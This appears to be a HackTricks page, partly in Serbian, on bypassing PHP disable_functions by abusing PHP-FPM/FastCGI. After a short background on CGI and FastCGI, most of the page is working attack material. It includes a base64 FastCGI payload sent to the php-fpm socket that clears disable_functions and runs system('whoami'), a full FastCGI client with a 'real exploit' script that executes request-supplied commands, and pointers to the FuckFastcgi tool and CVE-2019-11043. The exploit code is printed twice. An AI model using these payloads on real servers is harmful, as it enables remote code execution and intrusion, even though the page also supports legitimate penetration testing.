disable_functions bypass - php-fpm/FastCGI

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PHP-FPM

PHP-FPM se predstavlja kao superiorna alternativa standardnom PHP FastCGI, nudeći funkcije koje su posebno korisne za veb sajtove sa visokim prometom. Radi kroz master proces koji nadgleda skup radnih procesa. Za zahtev PHP skripte, to je veb server koji inicira FastCGI proxy vezu sa PHP-FPM servisom. Ovaj servis ima sposobnost da prima zahteve ili putem mrežnih portova na serveru ili Unix soketa.

I pored posredničke uloge proxy veze, PHP-FPM mora biti operativan na istoj mašini kao veb server. Veza koju koristi, iako je zasnovana na proxy-ju, razlikuje se od konvencionalnih proxy veza. Kada primi zahtev, dostupan radnik iz PHP-FPM ga obrađuje—izvršavajući PHP skriptu i zatim prosleđujući rezultate nazad veb serveru. Nakon što radnik završi obradu zahteva, ponovo postaje dostupan za nadolazeće zahteve.

Ali šta je CGI i FastCGI?

CGI

Normalno, veb stranice, fajlovi i svi dokumenti koji se prenose sa veb servera na pregledač čuvaju se u određenom javnom direktorijumu kao što je home/user/public_html. Kada pregledač zatraži određeni sadržaj, server proverava ovaj direktorijum i šalje potrebni fajl pregledaču.

Ako je CGI instaliran na serveru, specifični cgi-bin direktorijum se takođe dodaje, na primer home/user/public_html/cgi-bin. CGI skripte se čuvaju u ovom direktorijumu. Svaki fajl u direktorijumu se tretira kao izvršni program. Kada se pristupa skripti iz direktorijuma, server šalje zahtev aplikaciji, odgovornoj za ovu skriptu, umesto da šalje sadržaj fajla pregledaču. Nakon što se obrada ulaznih podataka završi, aplikacija šalje izlazne podatke veb serveru koji prosleđuje podatke HTTP klijentu.

Na primer, kada se pristupi CGI skripti http://mysitename.com/cgi-bin/file.pl, server će pokrenuti odgovarajuću Perl aplikaciju putem CGI. Podaci generisani izvršavanjem skripte biće poslati od strane aplikacije veb serveru. Server, s druge strane, će preneti podatke pregledaču. Ako server nije imao CGI, pregledač bi prikazao .pl kod fajla. (objašnjenje ovde)

FastCGI

FastCGI je novija veb tehnologija, poboljšana verzija CGI jer glavna funkcionalnost ostaje ista.

Potrebno je razviti FastCGI zbog brzog razvoja i složenosti aplikacija, kao i da se reše problemi skalabilnosti CGI tehnologije. Da bi se zadovoljili ti zahtevi, Open Market je uveo FastCGI – visoko performansnu verziju CGI tehnologije sa poboljšanim mogućnostima.

disable_functions bypass

Moguće je pokrenuti PHP kod zloupotrebom FastCGI i izbegavanjem ograničenja disable_functions.

Via Gopherus

Nisam siguran da li ovo radi u modernim verzijama jer sam jednom probao i nije izvršilo ništa. Molim vas, ako imate više informacija o ovome, kontaktirajte me putem [PEASS & HackTricks telegram grupe ovde](https://t.me/peass), ili na twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Korišćenjem Gopherus možete generisati payload koji ćete poslati FastCGI slušaču i izvršiti proizvoljne komande:

Zatim, možete uzeti urlencoded payload, dekodirati ga i transformisati u base64, [koristeći ovaj recept iz cyberchefa na primer](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). I zatim kopirati i nalepiti base64 u ovaj php kod:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Uploading and accessing this script exploit će biti poslat FastCGI (onemogućavanje disable_functions) i navedene komande će biti izvršene.

PHP exploit

Nisam siguran da li ovo radi u modernim verzijama jer sam jednom probao i nisam mogao da izvršim ništa. U stvari, uspeo sam da vidim da phpinfo() iz FastCGI izvršenja pokazuje da je disable_functions prazan, ali PHP (na neki način) je i dalje sprečavao da izvršim bilo koju prethodno onemogućenu funkciju. Molim vas, ako imate više informacija o ovome kontaktirajte me putem [PEASS & HackTricks telegram grupe ovde](https://t.me/peass), ili twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code from here.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable_functions empty:

Dakle, mislim da možete postaviti disable_functions samo putem php .ini konfiguracionih fajlova i da PHP_VALUE neće prepisati tu postavku.

FuckFastGCI

This is a php script to exploit fastcgi protocol to bypass open_basedir and disable_functions. It will help you to bypass strict disable_functions to RCE by loading the malicious extension. You can access it here: https://github.com/w181496/FuckFastcgi or a sligtly modified and improved version here: https://github.com/BorelEnzo/FuckFastcgi

You will find that the exploit is very similar to the previous code, but instead of trying to bypass disable_functions using PHP_VALUE, it tries to load an external PHP module to execute code using the parameters extension_dir and extension inside the variable PHP_ADMIN_VALUE. NAPOMENA1: Verovatno ćete morati da ponovo kompajlirate ekstenziju sa istom PHP verzijom koju server koristi (možete to proveriti unutar izlaza phpinfo):

NAPOMENA2: Uspelo mi je da ovo funkcioniše tako što sam ubacio vrednosti extension_dir i extension unutar PHP .ini konfiguracionog fajla (nešto što nećete moći da uradite napadajući server). Ali iz nekog razloga, kada koristim ovaj exploit i učitam ekstenziju iz PHP_ADMIN_VALUE varijable, proces jednostavno umre, tako da ne znam da li je ova tehnika još uvek validna.

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

You can exploit this vulnerability with phuip-fpizdam and test is using this docker environment: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. You can also find an analysis of the vulnerability here.

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PreviousPHP - Useful Functions & disable_functions/open_basedir bypass Nextdisable_functions bypass - dl function

Last updated 6 days ago

PHP-FPM

Ali šta je CGI i FastCGI?

CGI

FastCGI

FastCGI je novija veb tehnologija, poboljšana verzija CGI jer glavna funkcionalnost ostaje ista.

<?php $fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

<?php /** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. */ /** * Handles communication with a FastCGI application * * @author Pierrick Charron <pierrick@webstart.fr> * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> <?php // real exploit start here if (!isset($_REQUEST['cmd'])) { die("Check your input\n"); } if (!isset($_REQUEST['filepath'])) { $filepath = __FILE__; }else{ $filepath = $_REQUEST['filepath']; } $req = '/'.basename($filepath); $uri = $req .'?'.'command='.$_REQUEST['cmd']; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything $php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?>